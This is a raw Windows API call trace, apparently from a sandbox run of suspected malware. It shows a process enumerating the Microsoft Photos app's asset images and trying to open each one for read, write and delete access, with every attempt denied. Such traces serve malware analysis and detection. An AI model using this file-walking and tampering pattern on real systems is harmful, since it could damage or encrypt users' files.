	[0091.001] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-64.png", cAlternateFileName="")) returned 1
	[0091.001] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-64.png", _String2=".") returned 1
	[0091.001] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-64.png", _String2="..") returned 1
	[0091.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.001] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.001] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.001] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-64.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png"
	[0091.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-64.png")) returned 0x20
	[0091.005] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.005] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-64.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.005] GetLastError () returned 0x5
	[0091.005] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.005] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e0b10, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e0b10, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e0b10, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-80.png", cAlternateFileName="")) returned 1
	[0091.005] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-80.png", _String2=".") returned 1
	[0091.005] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-80.png", _String2="..") returned 1
	[0091.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.005] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.005] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.005] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-80.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png"
	[0091.005] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-80.png")) returned 0x20
	[0091.007] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.007] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.007] GetLastError () returned 0x5
	[0091.007] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.007] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e4e1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e4e1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e4e1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-96.png", cAlternateFileName="")) returned 1
	[0091.007] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-96.png", _String2=".") returned 1
	[0091.007] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-96.png", _String2="..") returned 1
	[0091.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.007] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.007] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.007] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-96.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png"
	[0091.008] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-96.png")) returned 0x20
	[0091.008] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.008] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-96.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.008] GetLastError () returned 0x5
	[0091.008] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.008] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e4e1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e4e1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e4e1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.008] wcscmp (_String1="PhotosAppList.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.008] wcscmp (_String1="PhotosAppList.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771868
	[0091.008] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.008] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.008] wcscat (in: _Dest=0x4771868, _Source="PhotosAppList.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png"
	[0091.008] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-200.png")) returned 0x20
	[0091.009] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.009] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.009] GetLastError () returned 0x5
	[0091.009] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.009] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e4e1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e4e1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e4e1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-16.png", cAlternateFileName="")) returned 1
	[0091.009] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-16.png", _String2=".") returned 1
	[0091.009] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-16.png", _String2="..") returned 1
	[0091.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.009] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.009] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.009] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png"
	[0091.009] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-16.png")) returned 0x20
	[0091.011] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.011] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.011] GetLastError () returned 0x5
	[0091.011] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.011] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e4e1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e4e1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e4e1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-20.png", cAlternateFileName="")) returned 1
	[0091.011] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-20.png", _String2=".") returned 1
	[0091.011] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-20.png", _String2="..") returned 1
	[0091.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.011] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.011] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.011] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png"
	[0091.012] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-20.png")) returned 0x20
	[0091.012] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.012] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.012] GetLastError () returned 0x5
	[0091.012] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.012] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846e4e1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846e4e1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846e4e1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-24.png", cAlternateFileName="")) returned 1
	[0091.012] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-24.png", _String2=".") returned 1
	[0091.012] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-24.png", _String2="..") returned 1
	[0091.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.012] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.012] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.012] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png"
	[0091.012] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-24.png")) returned 0x20
	[0091.014] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.014] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.014] GetLastError () returned 0x5
	[0091.014] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.014] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8470b09c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8470b09c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8470b09c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x592, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-256.png", cAlternateFileName="")) returned 1
	[0091.014] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-256.png", _String2=".") returned 1
	[0091.014] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-256.png", _String2="..") returned 1
	[0091.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d85ee8
	[0091.014] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.014] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.015] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png"
	[0091.015] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-256.png")) returned 0x20
